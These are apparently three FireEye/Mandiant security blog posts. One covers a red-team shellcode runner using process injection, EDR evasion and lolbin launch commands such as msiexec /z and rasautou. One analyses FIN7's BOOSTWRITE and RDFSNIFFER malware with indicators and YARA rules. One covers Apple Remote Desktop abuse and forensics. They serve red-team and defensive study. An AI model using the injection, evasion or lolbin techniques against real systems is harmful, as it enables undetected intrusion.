The use of shellcode in our red team assessment payloads allows us to be incredibly flexible in the type of payload we use. Shellcode runners can be in written in a wide range of programming languages that can be incorporated into many types of payloads. This flexibility allows us to customize our payloads to support the specific needs of our clients and of any given situation that may arise during a red team assessment. Since shellcode can be launched from inside a payload or injected into an already running process, we can use several techniques to increase the ability of our payloads to evade detection from EDR products depending on the scenario and technology in place in the target environment. Several techniques exist for obfuscating shellcode, such as encryption and custom encoding, that make it difficult for EDR products to detect shellcode from commercial C2 tools on its own. The flexibility and evasive properties of shellcode are the primary reason that we rely heavily on shellcode based payloads during red team assessments.

Shellcode Injection Vs. Execution

One of the most crucial parts of any red team assessment is developing a payload that will successfully, reliably, and stealthily run on the target system. Payloads can either execute shellcode from within its own process or inject shellcode into the address space of another process that will ultimately execute the shellcode. For the purposes of this blog post we’ll refer to shellcode injection as shellcode executed inside a remote process and shellcode execution as shellcode executed inside the payload process.

Shellcode injection is one technique that red teams and malicious attackers use to avoid detection from EDR products and network defenders. Additionally, many EDR products implement detections based on expected behavior of windows processes. For example, an attacker that executes Mimikatz from the context of an arbitrary process, let’s say DefinitelyNotEvil.exe, may get detected or blocked outright because the EDR tool does not expect that process to access lsass.exe. However, by injecting into a windows process, such as svchost.exe, that regularly touches lsass.exe, it may be possible to bypass these detections because the EDR product sees this as an expected behavior.

In this blog post, we’ll cover three different techniques for running shellcode.

  • CreateThread
  • CreateRemoteThread
  • QueueUserAPC

Each of these techniques corresponds to a Windows API function that is responsible for the allocation of a thread to the shellcode, ultimately resulting in the shellcode being run. CreateThread is a technique used for shellcode execution while CreateRemoteThread and QueueUserAPC are forms of shellcode injection.

The following is a high-level outline of the process for running shellcode with each of the three different techniques.

  1. Allocate memory in the current process
  2. Copy shellcode into the allocated memory
  3. Modify the protections of the newly allocated memory to allow execution of code from within that memory space
  4. Create a thread with the base address of the allocated memory segment
  5. Wait on the thread handle to return
  1. Get the process ID of the process to inject into
  2. Open the target process
  3. Allocate executable memory within the target process
  4. Write shellcode into the allocated memory
  5. Create a thread in the remote process with the start address of the allocated memory segment

Figure 1: Windows API calls for CreateRemoteThread injection

  1. Get the process ID of the process to inject into
  2. Open the target process
  3. Allocate memory within the target process
  4. Write shellcode into the allocated memory
  5. Modify the protections of the newly allocated memory to allow execution of code from within that memory space
  6. Open a thread in the remote process with the start address of the allocated memory segment
  7. Submit thread to queue for execution when it enters an “alertable” state
  8. Resume thread to enter “alertable” state

Figure 2: Windows API calls for QueueUserAPC injection

Command Execution

Let’s break down what we’ve talked about so far:

  • Malicious code is your shellcode – the stage 0 or stage 1 code that is truly going to do the malicious work.
  • Standard “shellcode runner” application which executes your code via either injection or execution. Most everyone writes their own shellcode runner, so we don’t necessarily deem this as true malware, the real malware is the shellcode itself.

Now that we’ve covered all that, we need a method to execute the code you compiled. Generally, this is either an executable (EXE) or a Dynamic Link Library (DLL). The Red Team prefers using Living Off the Land Binaries (lolbins) commands which will execute our compiled code.

The reason we can take advantage of lolbins is because of unmanaged exports. At a high level, when an executable calls a DLL it is looking for a specific export within the DLL to execute the code within that export. If the export is not properly protected, then you can craft your own DLL with the export name you know the executable is looking for and run your arbitrary code; which in this case will be your shellcode runner.

Putting It All Together

We set out to develop a shellcode runner DLL that takes advantage of lolbins through unmanaged exports while also providing the flexibility to execute both injected and non-injected shellcode without a need to update the code base. This effort resulted in a C# shellcode runner called DueDLLigence, for which the source code can be found at the GitHub page.

The DueDLLigence project provides a quick and easy way to switch between different shellcode techniques described previously in this blog post by simply switching out the value of the global variable shown in Figure 3.

Figure 3: Shellcode technique variable

The DueDLLigence DLL contains three unmanaged exports inside of it. These exports can be used with the Rasautou, Control, and Coregen native Windows commands as described in Figure 4. Note: The shellcode that is in the example will only pop calc.

Native Windows Executable

Required Export Name

Syntax Used To Run



rasautou –d {full path to dll} –p powershell –a a –e e



Rename compiled “dll” extension to “cpl” and just double click it!



msiexec /z {full path to dll}

Figure 4: DueDLLigence execution outline

When you open the source code you will find the example uses the exports shown in Figure 5.

Figure 5: Source code for exported entry points

The first thing you should do is generate your own shellcode. An example of this is shown in Figure 6, where we use Cobalt Strike to generate raw shellcode for the “rev_dns” listener. Once that is complete, we run the base64 -w0 payload.bin > [outputFileName] command in Linux to generate the base64 encoded version of the shellcode as shown in Figure 7.

Figure 6: Shellcode generation

Figure 7: Converting shellcode to base64

Then you simply replace the base64 encoded shellcode on line 58 with the base64'd version of your own x86 or x64 shellcode. The screenshot in Figure 6 generated an x86 payload, you will need to check the “use x64 payload” box to generate an x64 payload.

At this point you should reinstall the Unmanaged exports library in the DueDLLigence Visual Studio project because sometimes when you’re using a different project it doesn’t work properly. You can reinstall opening the NuGet package manager console shown in Figure 8 and running the Install-Package UnmanagedExports -Version 1.2.7 command.

Figure 8: Open NuGet Package Manager

After you have reinstalled the Unmanaged exports library and replaced the base64 encoded shellcode on line 58 then you are ready to compile! Go ahead and build the source and look for your DLL in the bin folder. We strongly suggest that you test your DLL to ensure it has the proper exports associate with it. Visual Studio Pro comes with the Dumpbin.exe utility which you can run against your DLL to view the exports as shown in Figure 9.

Figure 9: Dumpbin.exe output

You can expand the list as much as you want with more lolbin techniques found over at the GitHub page.

We prefer to remove the unmanaged exports that are not going to be used with the respective payload that was generated so there is a smaller footprint in the payload. In general, this is good tradecraft when crafting payloads or writing code. In our industry we have the principle of least privilege, well this is the principle of least code!

Modern Detections for Shellcode Injection

Despite all the evasive advantages that shellcode offers, there is hope when it comes to detecting shellcode injection. We looked at several different methods for process injection.

In our shellcode runner, the shellcode injection techniques (CreateRemoteThread and QueueUserAPC) spawn a process in a suspended state and then inject shellcode into the running process. Let’s say we choose the process to inject into as explorer.exe and our payload will run with MSIExec. This will create a process tree where cmd.exe will spawn msiexec.exe which will in turn spawn explorer.exe.

Figure 10: Process tree analysis

In an enterprise environment it is possible to collect telemetry data with a SIEM to determine how often, across all endpoints, the cmd.exe -> msiexec.exe -> explorer.exe process tree occurs. Using parent-child process relationships, defenders can identify potential malware through anomaly detection.

API hooking is commonly used by EDR and AV products to monitor and for detect the use of Windows API calls that are commonly used by malware authors. Utilizing kernel routines such as PsSetCreateProcessNotifyRoutine(Ex) and PsSetCreateThreadNotifyRoutine(Ex), security software can monitor when certain API calls are used, such as CreateRemoteThread. Combining this information with other data such as process reputation and enterprise-wide telemetry can be used to provide high fidelity alerts for potential malware.

When process injection occurs, one process modifies the memory protections of a memory region in another process’s address space. By detecting the use of API calls such as VirtualProtectEx that result in one process modifying the memory protections of address space allowed to another process, especially when the PAGE_EXECUTE_READWRITE permissions are used as this permission is used to allow the shellcode to be written and executed within the same memory space.

As red teamers and malicious actors continue to develop new process injection techniques, network defenders and security software continue to adapt to the ever-changing landscape. Monitoring Windows API function calls such as VirtualAllocEx, VirtualProtectEx, CreateRemoteThread, and NTQueueAPCThread can provide valuable data for identifying potential malware. Monitoring for the use of CreateProcess with the CREATE_SUSPENDED and CREATE_HIDDEN flags may assist in detecting process injection where the attacker creates a suspended and hidden process to inject into.

As we’ve seen, process injection techniques tend to follow a consistent order in which they call Windows API functions. For example, both injection techniques call VirtualAllocEx followed by WriteProcessMemory and identifying when a process calls these two APIs in that order can be used as a basis for detecting process injection.


Using shellcode as the final stage for payloads during assessments allows Red Teams the flexibility to execute payloads in a wide array of environments while implementing techniques to avoid detection. The DueDLLigence shellcode runner is a dynamic tool that takes advantage of the evasive properties of both shellcode and process injection to offer Red Teams a way to avoid detection. Detections for the execution of LOLbins on the command line and process injection at the API and process level should be incorporated into defensive methodology, as attackers are increasingly being forced into living off the land with the increased adoption of application whitelisting.

Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques

During several recent incident response engagements, FireEye Mandiant investigators uncovered new tools in FIN7’s malware arsenal and kept pace as the global criminal operators attempted new evasion techniques. In this blog, we reveal two of FIN7’s new tools that we have called BOOSTWRITE and RDFSNIFFER.

The first of FIN7's new tools is BOOSTWRITE – an in-memory-only dropper that decrypts embedded payloads using an encryption key retrieved from a remote server at runtime. FIN7 has been observed making small changes to this malware family using multiple methods to avoid traditional antivirus detection, including a BOOSTWRITE sample where the dropper was signed by a valid Certificate Authority. One of the analyzed BOOSTWRITE variants contained two payloads: CARBANAK and RDFSNIFFER. While CARBANAK has been thoroughly analyzed and has been used maliciously by several financial attackers including FIN7, RDFSNIFFER is a newly-identified tool recovered by Mandiant investigators.

RDFSNIFFER, a payload of BOOSTWRITE, appears to have been developed to tamper with NCR Corporation's “Aloha Command Center” client. NCR Aloha Command Center is a remote administration toolset designed to manage and troubleshoot systems within payment card processing sectors running the Command Center Agent. The malware loads into the same process as the Command Center process by abusing the DLL load order of the legitimate Aloha utility. Mandiant provided this information to NCR.

BOOSTWRITE Loader: Where You At?

BOOSTWRITE is a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.

Once loaded, `DWrite.dll` connects to a hard-coded IP and port from which it retrieves a decryption key and initialization vector (IV) to decrypt two embedded payload DLLs. To accomplish this task, the malware first generates a random file name to be used as a text log under the current user's %TEMP% directory; this filename starts with ~rdf and is followed by a set of random numbers. Next, the malware scans its own image to find the location of a 32-byte long multi-XOR key which is used to decode data inside its body. Part of the decoded data is an IP address and port which are used to retrieve the key and the IV for the decryption of the embedded payloads. The encryption algorithm uses the ChaCha stream cipher with a 256-bit key and 64-bit IV.

Once the key and the IV are downloaded the malware decrypts the embedded payloads and performs sanity checks on the results. The payloads are expected to be PE32.DLLs which, if the tests pass, are loaded into memory without touching the filesystem.

The malware logs various plaintext messages to the previously created logfile %TEMP%\~rds<rnd_numbers> which are indicative of the loader’s execution progress. An example of the file content is shown in Figure 1:

Init OK
Key OK
Data: 4606941
HS: 20
K:[32] V:[8]
DCnt: 732642317(ERR)

Figure 1: BOOSTWRITE log file

Before exiting, the malware resolves the location of the benign DWrite.dll library and passes the execution control to its DWriteCreateFactory method.

The malware decrypts and loads two payload DLLs. One of the DLLs is an instance of the CARBANAK backdoor; the other DLL is a tool tracked by FireEye as RDFSNIFFER which allows an attacker to hijack instances of the NCR Aloha Command Center Client application and interact with victim systems via existing legitimate 2FA sessions.

RDFSNIFFER Module: We Smell a RAT

RDFSNIFFER is a module loaded by BOOSTWRITE which allows an attacker to monitor and tamper with legitimate connections made via NCR Corporation’s ‘Aloha Command Center Client’ (RDFClient), an application designed to provide visibility and system management capabilities to remote IT techs. RDFSNIFFER loads into the same process as the legitimate RDFClient by abusing the utility’s DLL load order, launching each time the ‘Aloha Command Center Client’ is executed on an impacted system.

When the RDFSNIFFER module is loaded by BOOSTWRITE it hooks several Win32 API functions intended to enable it to tamper with NCR Aloha Command Center Client sessions or hijack elements of its user-interface (Table 1). Furthermore, this enables the malware to alter the user’s last input time to ensure application sessions do not time out.

Win32 API Function

Hook Description


Used to man-in-the-middle SSL sessions


Used to man-in-the-middle SSL sessions


Used to man-in-the-middle socket connections


Used to man-in-the-middle socket connections


Used to man-in-the-middle socket connections


Used to hijack the utility's UI


Used to hijack the utility's UI


Used to hijack the utility's UI


Used to hijack the utility's UI


Used to change the user's last input time (to avoid timed lock outs)

Table 1: RDFSNIFFER’s Hooked Win32 API Functions

This module also contains a backdoor component that enables it to inject commands into an active RDFClient session. This backdoor allows an attacker to upload, download, execute and/or delete arbitrary files (Table 2).

Command Name

Legit Function in RDFClient

RDFClient Command ID





Uploads a file to the remote system




Retrieves a file from the remote system




Executes a command on the remote system




Deletes file on remote system




Deletes a local file

Table 2: RDFSNIFFER’s Backdoor Functions

Signed: Yours Truly, FIN7

While the majority of BOOSTWRITE variants recovered from investigations have been unsigned, Mandiant identified a signed BOOSTWRITE sample used by FIN7 during a recent investigation. Following that discovery, a signed BOOSTWRITE sample was uploaded to VirusTotal on October 3. This executable uses a code signing certificate issued by MANGO ENTERPRISE LIMITED (Table 3).








32 7F 8F 10 74 78 42 4A BE B8 2A 85 DC 36 57 03 CC 82 70 5B

Table 3: Code signing certificate used for BOOSTWRITE

This indicates the operators may be actively altering this malware to avoid traditional detection mechanisms. Notably, the signed BOOSTWRITE sample had a 0/68 detection ratio when it was uploaded to VirusTotal, demonstrating the effectiveness of this tactic (Figure 2).

Figure 2: Current VirusTotal detection ratio for signed BOOSTWRITE

Use of a code signing certificate for BOOSTWRITE is not a completely new technique for FIN7 as the group has used digital certificates in the past to sign their phishing documents, backdoors, and later stage tools. By exploiting the trust inherently provided by code certificates, FIN7 increases their chances of bypassing various security controls and successfully compromising victims. The full evasion achieved against the detection engines deployed to VirusTotal – as compared to an unsigned BOOSTWRITE sample with an invalid checksum– illustrates that FIN7’s methods were effective in subverting both traditional detection and ML binary classification engines. This is a known issue and has been deeply studied since at least 2016’s “Chains of Distrust” research and 2017’s “Certified Malware” paper. Since there are plenty of goodware samples with bad or no signatures – and a growing number of malware samples with good signatures – there is no easy solution here. The upside is that vendors selectively deploy engines to VirusTotal (including FireEye) and VT detection performance often isn’t a comprehensive representation of encountering full security technology stacks that implement detection-in-depth. Later in this blog we further explore BOOSTWRITE’s PE Authenticode signature, its anomalies, and how code signing can be turned from a detection challenge into detection opportunities.

Outlook and Implications

While these incidents have also included FIN7’s typical and long-used toolsets, such as CARBANAK and BABYMETAL, the introduction of new tools and techniques provides further evidence FIN7 is continuing to evolve in response to security enhancements. Further, the use of code signing in at least one case highlights the group's judicious use of resources, potentially limiting their use of these certificates to cases where they have been attempting to bypass particular security controls. Barring any further law enforcement actions, we expect at least a portion of the actors who comprise the FIN7 criminal organization to continue conducting campaigns. As a result, organizations need to remain vigilant and continue to monitor for changes in methods employed by the FIN7 actors.

Sigs Up Dudes! Indicators, Toolmarks, and Detection Opportunities

While FireEye does not release our production detection logic for the code families, this section does contain some identification and hunting concepts that we adopt in our layered detection strategy. Table 4 contains malware samples referenced in this blog that FireEye is able to share from the larger set recovered during active investigations.




MD5: a67d6e87283c34459b4660f19747a306
SHA-1: a873f3417d54220e978d0ca9ceb63cf13ec71f84
SHA-256: 18cc54e2fbdad5a317b6aeb2e7db3973cc5ffb01bbf810869d79e9cb3bf02bd5

C2: 109.230.199[.]227

BOOSTWRITE (unsigned)

MD5: af2f4142463f42548b8650a3adf5ceb2
SHA1: 09f3c9ae382fbd29fb47ecdfeb3bb149d7e961a1
SHA256: 8773aeb53d9034dc8de339651e61d8d6ae0a895c4c89b670d501db8dc60cd2d0

C2: 109.230.199[.]227

Table 4: Publicly-shareable BOOSTWRITE samples

The signed BOOSTWRITE sample has a PE Authenticode anomaly that can be detected using yara’s PE signature module. Specifically, the PE linker timestamp is prior to the Authenticode validity period, as seen in Table 5.



2019-05-20 09:50:55 UTC

Signed BOOSTWRITE’s PE compilation time

2019-05-22 00:00 UTC
2020-05-21 23:59 UTC

Signed BOOSTWRITE’s “mango ENTERPRISE LIMITED” certificate validity window

Table 5: Relevant executabe timestamps

A public example of a Yara rule covering this particular PE Authenticode timestamp anomaly is available in a blog post from David Cannings, with the key logic shown in Figure 3.

pe.number_of_signatures > 0 and not for all i in ( - 1):

Figure 3: Excerpt of NCC Group’s research Yara rule

There are other PE Authenticode anomalies that can also be represented as Yara rules to surface similarly suspicious files. Of note, this signed BOOSTWRITE sample has no counter signature and, while the unauthenticated attributes timestamp structure is present, it is empty. In preparing this blog, FireEye’s Advanced Practices team identified a possible issue with VirusTotal’s parsing of signed executable timestamps as seen in Figure 4.

Figure 4: Inconsistency in VirusTotal file signature timestamps for the signed BOOSTWRITE sample

FireEye filed a bug report with Google to address the discrepancy in VirusTotal in order to remove confusion for other users.

To account for the detection weaknesses introduced by techniques like code signing, our Advanced Practices team combines the malicious confidence spectrum that comes from ML detection systems with file oddities and anomalies (weak signals) to surface highly interesting and evasive malware. This technique was recently described in our own Dr. Steven Miller’s Definitive Dossier of Devilish Debug Details. In fact, the exact same program database (PDB) path-based approach from his blog can be applied to the toolmarks seen in this sample for a quick hunting rule. Figure 5 provides the PDB path of the BOOSTWRITE samples from this blog.


Figure 5: BOOSTWRITE PDB path

The Yara rule template can be applied to result in the quick rule in Figure 6.

rule ConventionEngine_BOOSTWRITE
     author = "Nick Carr (@itsreallynick)"
     reference = ""
     $weetPDB = /RSDS[\x00-\xFF]{20}[a-zA-Z]?:?\\[\\\s|*\s]?.{0,250}\\DWriteImpl[\\\s|*\s]?.{0,250}\.pdb\x00/ nocase
     (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $weetPDB and filesize < 6MB

Figure 6: Applying BOOSTWRITE’s PDB path to a Yara rule

We can apply this same concept across other executable traits, such as BOOSTWRITE’s export DLL name (DWriteImpl.dll), to create quick and easy rules that can aid in quick discovery as seen in Figure 7.

rule Exports_BOOSTWRITE
     author = "Steve Miller (@stvemillertime) & Nick Carr (@itsreallynick)"
     $exyPants = "DWriteImpl.dll" nocase
     uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $exyPants at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) and filesize < 6MB

Figure 7: Applying BOOSTWRITE’s export DLL names to a Yara rule (Note: this rule was updated following publication. It previously read "module_ls.dll", which is for Turla and unrelated.)

Of course, resilient prevention capabilities are needed and to that end, FireEye detects this activity across our platforms. Table 6 contains several specific detection names from a larger list of detection capabilities that captured this activity natively.


Signature Name

Endpoint Security

MalwareGuard ML detection (unsigned variants)

Network Security and Email Security

Malware.binary.dll (dynamic detection)
MalwareGuard ML detection (unsigned variants)
APTFIN.Dropper.Win.BOOSTWRITE (network traffic)
APTFIN.Backdoor.Win.RDFSNIFFER (network traffic)
FE_APTFIN_Dropper_Win_BOOSTWRITE (static code family detection)
FE_APTFIN_Backdoor_Win_RDFSNIFFER (static code family detection)

Table 6: FireEye detection matrix

Don’t Sweat the Techniques – MITRE ATT&CK Mappings






Data Encrypted

BOOSTWRITE encodes its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit IV to evade detection


Obfuscated Files or Information

BOOSTWRITE encodes its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit IV to evade detection


DLL Search Order Hijacking

BOOSTWRITE exploits the applications’ loading of the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads the local ‘Dwrite’ dll


Code Signing

BOOSTWRITE variants were observed signed by a valid CA


Execution through Module Load

BOOSTWRITE exploits the applications’ loading of the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads the local ‘Dwrite’ dll


Deobfuscate/Decode Files or Information

BOOSTWRITE decodes its payloads at runtime using using a ChaCha stream cipher with a 256-bit key and 64-bit IV






Execution through API

RDFSNIFFER hooks several Win32 API functions intended to enable it to tamper with NCR Aloha Command Center Client sessions or hijack elements of its user-interface


File Deletion

RDFSNIFFER has the capability of deleting local files



RDFSNIFFER hooks several Win32 API functions intended to enable it to tamper with NCR Aloha Command Center Client sessions or hijack elements of its user-interface


The authors want to thank Steve Elovitz, Jeremy Koppen, and the many Mandiant incident responders that go toe-to-toe with FIN7 regularly, quietly evicting them from victim environments. We appreciate the thorough detection engineering from Ayako Matsuda and the reverse engineering from FLARE’s Dimiter Andonov, Christopher Gardner and Tyler Dean. A special thanks to FLARE’s Troy Ross for the development of his PE Signature analysis service and for answering our follow-up questions. Shout out to Steve Miller for his hot fire research and Yara anomaly work. And lastly, the rest of the Advanced Practices team for both the unparalleled front-line FIN7 technical intelligence expertise and MITRE ATT&CK automated mapping project – with a particular thanks to Regina Elwell and Barry Vengerik.

Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil

Attackers often make their lives easier by relying on pre-existing operating system and third party applications in an enterprise environment. Leveraging these applications assists them with blending in with normal network activity and removes the need to develop or bring their own malware. This tactic is often referred to as Living Off The Land. But what about when that land is an Apple orchard?

In recent enterprise macOS investigations, FireEye Mandiant identified the Apple Remote Desktop application as a lateral movement vector and as a source for valuable forensic artifacts.

Apple Remote Desktop (ARD) was first released in 2002 and is Apple’s “desktop management system for software distribution, asset management, and remote assistance”. An ARD deployment consists of administrator and client machines. While the administrator app must be downloaded from the macOS App Store, the client application is included natively as part of macOS. Client systems must be added to the client list on an administrator system manually, or they can be discovered via Bonjour if they are in the same local subnet as the administrator system. In a typical enterprise environment deployment, managers would be the ARD administrators and have the ability to view, manage, and remotely control their managed personnel’s workstations via ARD.

Lateral Movement

Mandiant has observed attackers using the ARD screen sharing function to move laterally between systems. If remote desktop was not enabled on a target system, Mandiant observed attackers connecting to systems via SSH and executing a kickstart command to enable remote desktop management. This allowed remote desktop access to the target systems. The following is an example from the macOS Unified Log showing a kickstart command used by an attacker to enable remote desktop access for all users with all privileges:

Figure 1: Kickstart command example

During an investigation, you can use a few different artifacts to trace this activity. Execution of the kickstart command modifies the contents of the configuration file /Library/Application Support/Apple/Remote Desktop/RemoteManagement.launchd to contain the string “enabled”. SSH login activity can be found in the Apple System Logs or Audit Logs. Execution of the kickstart command can be found in the Unified Logs, as seen in Figure 1.

An ARD administrator has a substantial amount of power available to them, similar to compromising an administrator account in a Windows environment. By compromising an account that has access to ARD administrator system, an attacker can perform any of the following actions:

  • Remotely control VNC-enabled machines, including in “Curtain Mode” which hides the remote actions from the local workstation’s screen
  • Transfer files
  • Remotely shut down or restart multiple machines simultaneously
  • Schedule tasks
  • Execute AppleScript and UNIX shell scripts

Apple’s ARD web page and the ARD help page contain more details about ARD’s capabilities.

ARD Reporting as a Forensic Force Multiplier

Along with remote system control functionality, Apple Remote Desktop’s asset management capabilities include conducting remote Spotlight searches, file searching, generating software version information reports, and more importantly, generating application usage and user history reports. The reporting process generally follows these steps:

  1. Client systems compute reports and cache the data locally before transferring them to the administrator system (the default policy is to begin this at 12:00 AM local time, daily).
  2. Data received from clients is cached on the administrator system. Alternatively, a macOS system with the administrator version of ARD installed can be set up as a “Task Server” for a centralized collection option.
  3. Cached data is written to SQLite database on the administrator system

The cached data is stored in various subdirectories under the /private/var/db/RemoteManagement/ parent directory. The directory has the following structure:

Figure 2: /private/var/db/RemoteManagement/ directory structure

This directory structure is present on all systems, but which files exist in which directories depends on whether the system is an ARD client or administrator system.

Artifacts from ARD Client Systems

There is one directory that is the focus for investigations on client systems: /private/var/db/RemoteManagement/caches/. This directory contains the following files, which are the local client data cache that is periodically reported to the administrator system. Do note, however, that these files are routinely deleted by the system, so they may not be present. These files are typically deleted from the client system once they are transmitted to the administrator system. Once transmitted, the data is stored on the administrator system.




plist file containing application usage data


Binary plist file containing application usage data, often the same as or less thorough than AppUsage.plist


Binary plist of system information


Database containing an index of the entire file system, including users and groups


Binary plist containing system information, some of which is also present in asp.cache


Binary plist containing user login activity

Table 1: ARD cache files

In our experience, the most useful information available from these files is application usage and user activity.

Application Usage

The RemoteManagement/caches/AppUsage.plist file contains one key per application, where each key is the full path of the application, such as file:///Applications/

Each application key contains a dictionary that includes a “runData” array and a “Name” string, which is the friendly name of the application, such as “Calculator”, as seen in Figure 3.

Figure 3: AppUsage.plist structure

Each “runData” array contains at least one dictionary consisting of the following keys and values:


Value Format



Boolean: true or false

Indicator of whether or not the application was quit prior to the last report time. This field may not exist if the value is not “true”.


Number of seconds

Total duration which the application was “frontmost” on the screen


macOS absolute timestamp

Time the application was launched


Number of seconds

Duration the application was run



User who launched the application

Table 2: AppUsage.plist runData keys and values

Of the two application usage cache artifacts, RemoteManagement/caches/AppUsage.plist usually contains the same or more content than RemoteManagement/caches/AppUsage.tmp.

User Activity

The RemoteManagement/caches/UserAcct.tmp file is a binary plist that contains user activity that can be correlated with other artifacts on a macOS systems, such as the Apple System Logs or Audit Logs. The file contains keys with the short name of each user logged on the system.

Each key contains a dictionary that includes a “uid” string with the user’s UID, and an array for each login type: console, tty, or SSH. Each login-type array contains at least one dictionary consisting of the following keys and values:


Value Format



macOS absolute timestamp

Time the user logged in


macOS absolute timestamp

Time the user logged out



Originating host for remote login. This field has been observed to not be consistently present.

Table 3: UserAcct.tmp keys and values

Artifacts From ARD Administrator Systems

The data outlined in Table 1 is reported to the administrator system daily. The files are then stored in the RemoteManagement/ClientCaches/ directory. Each file is renamed to the MAC address of the reporting system and placed into the appropriate subdirectory, as seen in Table 4. The subdirectories contain the following:


Data Contained in Each File


AppUsage.plist files


Filesystem.cache files


Sysinfo.cache files


UserAcct.tmp files

Table 4: /private/var/db/RemoteManagement/ClientCaches/ subdirectories

Additionally, there is a plist file, RemoteManagement/ClientCaches/cacheAccess.plist that contains keys of MAC addresses with values of more MAC addresses. The purpose and context for this file has yet to be determined.

The Gold Mine

All the aforementioned data, with the exception of the filesystem.cache files, is added to the main SQLite database RemoteManagement/RMDB/rmdb.sqlite3 (“RMDB”). The RMDB exists on all ARD systems but is only populated on the administrator system. It houses a wealth of information about the systems in the ARD network over a significant timespan. Mandiant has observed data for application usage timestamps from over a year prior to when we acquired a database on a live system.

The RMDB file contains five tables: ApplicationName, ApplicationUsage, PropertyNameMap, SystemInformation, and UserUsage. The following sections detail each table within the database:


This table is an index for the applications on each system, where each application is assigned an item sequence number (“ItemSeq”) per system. This data is used for correlation in the ApplicationUsage table.


Value Format




Client MAC address, no separators



Friendly application name



Application URL path (i.e. file:///Applications/



ID number for each application, per ComputerID, used for the AppName table


macOS absolute timestamp

Last report time of the client

Table 5: ApplicationName table columns


The AppName table is unique in the fact the “Frontmost” and “LaunchTime” values in the table are swapped. The research at the time of this blog post was verified on MacOS 10.14 (Mojave).


Value Format




Client MAC address, no separators


macOS absolute timestamp

Application launch time


Number of seconds to 6 decimal places

Total duration the application was “frontmost” on screen


Number of seconds to 6 decimal places

Total duration the application was running



ItemSeq number for the respective ComputerID, referenced in the ApplicationName table


macOS absolute timestamp

Last report time of the client



User who launched the application



“1” for “running”, or “0” for “terminated” at the time of the last report

Table 6: ApplicationUsage table columns


This table is used as a reference for the SystemInformation table.


Value Format




Various elements of a macOS system, such as Mac_HardDriveElement, Mac_USBDeviceElement, Mac_SystemInfoElement



Property names for each element, such as ProductName, ProductID, VendorID, VendorName for Mac_USBDeviceElement



ID number for each property, per element

Table 7: PropertyNameMap table columns


There is a substantial amount of system information collected in this table. This table can be leveraged to extract USB device information, IP addresses, hostnames, and more, of all the reported client systems.


Value Format




Client MAC address, with colon separators



Elements of a macOS system outlined in the PropertyNameMap table



Properties per element outlined in the PropertyNameMap table



ID number for each element, i.e. if there are 4 Mac_USBDeviceElement data sets, each one will have an ItemSeq number, 0-3, to group the properties together



Data for the respective property



24 hour local time, last report time of the client. Example: 2019-08-07T02:11:34Z

Table 8: SystemInformation table columns


This table contains the user login activity for all the reported client systems.


Description of Value


Client MAC address, no separators


macOS absolute timestamp, last report time of the client


Short name of the user


Console, tty, or ssh


macOS absolute timestamp, time the user logged in


macOS absolute timestamp, time the user logged out


Originating host for remote login. This field has been observed to not be consistently present.

Table 9: UserUsage table columns

Filesystem Cache

The RemoteManagement/ClientCaches/filesystem.cache file is a database that indexes the files and directories found on a macOS computer’s file system. Rather than using SQLite like the RMDB, ARD uses a custom database implementation to track this information. Fortunately, the database file format is fairly simple, consisting of a file header, six tables, and entries that point to string values. By interpreting the information in the filesystem cache file, an investigator can recreate the directory structure of an ARD-enable system. Mandiant uses this technique to identify and demonstrate the existence of attacker-created files.

The database header, identified by the magic value “hdix”, contains metadata about the database, such as the total number of indexed folders, files, and symlinks. Pointers from this header lead to the six tables: “main”, “names” (file names), “kinds” (file extensions), “versions” (macOS app bundle version infos), “users”, and “groups”. Entries in the “main” table contain references to entries in the other tables; by walking these references, an investigator can recover full file system paths and metadata.

In practice, the filesystem.cache file may be tens of megabytes in size, tracking dozens or hundreds of thousands of file system entries. Figure 4 shows truncated content of a parsed file system cache file; these entries are for the artifacts discussed in this article!

Figure 4: Screenshot of filesystem.cache contents, listing ARD artifacts

On a macOS system, the program “build_hd_index” traverses the file system and indexes the files and directories into filesystem.cache. Figure 5 shows a portion of the documentation for this tool; as expected, the default output directory is [/private]/var/db/RemoteManagement/caches/.

Figure 5: documentation for build_hd_index

Ironically, internet message board posts going back to at least 2007 complain of the performance impact of this tool. A post by “Anonymous” indicates that “build_hd_index” was designed to support file indexing on OS X Panther (2003), which didn’t have Spotlight. Now, 16 years later, we can exploit these artifacts during an incident response.

Introducing: ARDvark

It was evident that if this artifact exists in a future investigation, leveraging its wealth of data will be critical to identifying attacker activities. In some scenarios, investigators may be able to generate reports directly from an ARD administrator system, but this may not always be the case. If not, then investigators would have to rely on manually acquiring and extracting information from the RMDB file on the ARD administrator system. ARDvark is a tool that extracts all user activity and application usage recorded in the RMDB and outputs the data in an analyst-friendly format.

ARDvark will also process the AppUsage.plist and UserAcct.tmp files found on ARD client systems under /private/var/db/RemoteManagement/caches/. Additionally, ARDvark has the capability to parse the filesystem.cache files to produce a file system listing, as well as all users and groups present on the respective system. Please see the FireEye Github for more information.

Detecting and Preventing ARD Abuse

To detect suspicious ARD usage, organizations can monitor for anomalous modification of the /Library/Application Support/Apple/Remote Desktop/RemoteManagement.launchd file to identify remote desktop access enablement where ARD is not used. Analyzing the Unified Logs for evidence of unexpected kickstart commands during threat hunting missions can uncover suspicious ARD usage as well.

Mitigating ARD abuse is reliant upon the principle of least privilege. Mandiant recommends allowing as few remote control privileges as possible, and only allowing administrator privileges to necessary accounts. Apple provides guidance on setting privileges, and authenticating without using local accounts with ARD in the help page and in the ARD user guide. ARD administrators can then routinely generate reports in the ARD application to ensure no changes are made to administration privilege settings.

A Bushel of Evidence

